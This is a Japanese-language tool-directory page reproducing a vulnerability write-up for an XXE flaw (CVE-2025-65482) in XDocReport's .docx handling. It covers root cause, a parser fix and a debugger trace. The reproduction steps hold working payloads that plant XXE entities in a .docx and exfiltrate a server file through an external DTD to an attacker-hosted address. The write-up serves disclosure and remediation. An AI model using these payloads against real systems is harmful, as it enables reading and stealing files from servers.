Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-65482-XXE- — CVE-2025-65482 (XXE) | Kitploit
ツール/GitHubGitHub/at190510-cuong/cve-2025-65482-xxe-
脆弱性分析エクスプロイトウェブアプリケーション悪用データ流出論文と研究学習と教育
GitHubat190510-cuong/cve-2025-65482-xxe-

CVE-2025-65482-XXE-

CVE-2025-65482 (XXE)

リポジトリを見る
129ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-65482 (XXE)

XDocReportにおけるXML外部エンティティインジェクション(XXE)

Bug Definition

脆弱性の概要

  • XML External Entity Injection (XXE)は、XML形式のデータ処理における脆弱性であり、ユーザーが外部のファイルやシステムを参照するXMLデータを挿入します。攻撃者は、特定されたこのXXE脆弱性を利用して、他のシステムをスキャンして開いているサービスポートを探したり、機密ファイルを要求したり、通常はアクセスできない接続システムの機能にアクセスしたりすることができます。これにより、攻撃者はデータを抽出し、システムと相互作用し、XMLの挿入を通じてサービス妨害を引き起こす可能性があります。

ビジネスへの影響

  • XXEは、ユーザーの信頼と信用の喪失により、企業の評判に損害を与える可能性があります。また、通知、修復、および侵害されたPIIデータのコストを通じて、データ盗難や企業への間接的な経済的損失につながる可能性があります。

重要度 HIGH

image

説明と影響

人事管理ウェブサイトでは、ユーザーが.docx文書ファイルをシステムにアップロードできます。処理中に、アプリケーションはfr.opensagres.xdocreport.document.docxライブラリを使用しますが、このライブラリはユーザーの.docxファイルをSAXParserに渡す際にXXE脆弱性を含んでいます。

影響を受けるコンポーネント

ツールをダウンロード

fr.opensagres.xdocreport.template.docx — XDocReport (versions =< 2.0.3)

根本原因分析

原因はApache POIの使用

root@kitploit:~
fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

つまり、Apache POIは非常に深い階層にあり、モジュール:

root@kitploit:~
org.apache.poi.xwpf.converter.core

image

このエラーは、XDocReport(fr.opensagres.xdocreport.document.docxモジュール内)がApache POIを使用して.docxファイルを読み取り、POIがJavaのデフォルトのSAXParserを使用しているが、DTDと外部エンティティの処理を許可する機能を無効にしていないために発生します。 →これにより、攻撃者は外部を指すエンティティ(SYSTEM "http://...")や内部ファイル(file:///...)を含むDOCTYPEを挿入できるようになり、XXEが発生します。

image

root@kitploit:~
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

再現手順

  • 任意のdocxファイルを解凍する
root@kitploit:~
unzip ../vcspentest.docx

image

  • docx内のdocument.xmlファイルの内容を編集する
root@kitploit:~
nano word/document.xml

image

以下のようなcollaborator経由のoutbandペイロードで編集する:

root@kitploit:~
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

image

  • pocファイルに再圧縮する
root@kitploit:~
 zip -r ../poc.docx *

image

image

  • 編集したdocxファイルをアップロードしてxdocreportの処理を通過させる

image

  • 結果、collaboratorにリクエストが送信されたことを確認

image

  • 影響を拡大し、システム内のファイルを読み取る
  • WSLマシン172.26.208.130にdtdファイルをホストする。vcspentest.dtdの内容は以下の通り:
root@kitploit:~
<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

image

image

WSLマシンから外部DTDをロードするために、.docxファイル内のword/document.xmlファイルを以下の内容で編集する:

root@kitploit:~
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

image

  • ファイルを.docxにzip圧縮し、サーバーにアップロードして処理させる

image

image

  • WSLマシンで、対象サーバー上のファイルD:/vcspentest.txtの内容を含むリクエストが送信されたことを確認

image

image

解決策

  • https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

image

コード内またはXMLパーサーの設定レイヤーで、DTDおよび外部エンティティに関連するすべての機能を無効にする必要があります。

以下のコードと同様の修正

root@kitploit:~
    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
        return "SAXParser xxe security code";
    }

デバッグ環境のセットアップ

image

  • Main.javaファイル
root@kitploit:~
package org.example;

import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;

import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;

public class Main {

    public static void main(String[] args) {
        try {
            // Đọc file đầu vào chứa biểu thức Velocity
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // File đầu vào
            InputStream input = new FileInputStream(docxTemplate);

//             Load template sử dụng Velocity
//            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);

            // Load template sử dụng FreeMarker
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

            // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
            IContext context = report.createContext();

            // Xuất ra file mới
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);

            System.out.println("✅ Đã tạo file result.docx thành công.");
        } catch (Exception e) {
            System.err.println("❌ Lỗi xử lý file:");
            e.printStackTrace();
        }
    }
}
  • インポートが必要なライブラリ
root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>vcs1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>18</maven.compiler.source>
        <maven.compiler.target>18</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- Template engine: FreeMarker -->
        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
            <version>2.0.3</version>
        </dependency>
    </dependencies>
</project>

デバッグによるソースシンク分析

  • .docx内のXMLコンテンツからの入力がプリプロセスで処理される

image

  • その後、入力検証なしでSAXParserによって処理される

image

image

image

image

  • その後、scanDocument()関数に入り、XMLコンテンツをスキャンして「イベント」(START_DOCUMENT, START_ELEMENT, CHARACTERS, ENTITY_REFERENCEなど)を発行する

image

image

image

image

  • エンティティ名(name = "xxe")が外部エンティティかどうかを確認する

  • エンティティが宣言されていて外部エンティティの場合、パーサーは外部解決ロジック(例: startExternalEntity(...) / fEntityManager.startEntity(...))を呼び出します — これがシンクです: ここでパーサーはsystemId/publicIdを取得し、ストリームを開こうとします(外部へのHTTPリクエストを生成する可能性があります)。

image

image

image

  • xxeが外部エンティティの場合、startEntity(...)はリソースを開くロジック(例: startExternalEntity(...) / InputStreamを開く → SYSTEM URLへのHTTPリクエストを生成する可能性)につながります。

image

image

image

  • ここがパーサーがエンティティ"xxe"の処理を開始するポイントです。

image

image

image

image

image

image

root@kitploit:~
  // should we skip external entities?
        boolean external = entity.isExternal();
        Entity.ExternalEntity externalEntity = null;
        String extLitSysId = null, extBaseSysId = null, expandedSystemId = null;
        if (external) {
            externalEntity = (Entity.ExternalEntity)entity;
            extLitSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getLiteralSystemId() : null);
            extBaseSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getBaseSystemId() : null);
            expandedSystemId = expandSystemId(extLitSysId, extBaseSysId, fStrictURI);
            boolean unparsed = entity.isUnparsed();
            boolean parameter = entityName.startsWith("%");
            boolean general = !parameter;
            if (unparsed || (general && !fExternalGeneralEntities) ||
                    (parameter && !fExternalParameterEntities) ||
                    !fSupportDTD || !fSupportExternalEntities) {

                if (fEntityHandler != null) {
                    fResourceIdentifier.clear();
                    final String encoding = null;
                    fResourceIdentifier.setValues(
                            (externalEntity.entityLocation != null ? externalEntity.entityLocation.getPublicId() : null),
                            extLitSysId, extBaseSysId, expandedSystemId);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.startEntity(entityName, fResourceIdentifier, encoding, fEntityAugs);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.endEntity(entityName, fEntityAugs);
                }
                return;
            }
        }

image

  • 関数startEntity()は、エンティティが外部エンティティ(isExternal = true)であるかどうかをチェックし、その後次のように呼び出します:
root@kitploit:~
staxInputSource = resolveEntityAsPerStax(externalEntity.entityLocation);

変数externalEntity.entityLocationには、DOCTYPE (SYSTEM "http://...oastify.com/")からの悪意のあるURLが含まれています。

image

  • resolveEntityAsPerStaxでは、変数resourceIdentifierに絶対パスが含まれています:http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/

  • この関数はその後、resourceIdentifierをXMLResourceIdentifierImplオブジェクトに変換し、実際の接続を開いてコンテンツを読み取ります。

image

image

資料

  • https://drive.google.com/drive/folders/1hUyCznpBN7ivo5krmyJ4OQc_q626Hy5q?usp=drive_link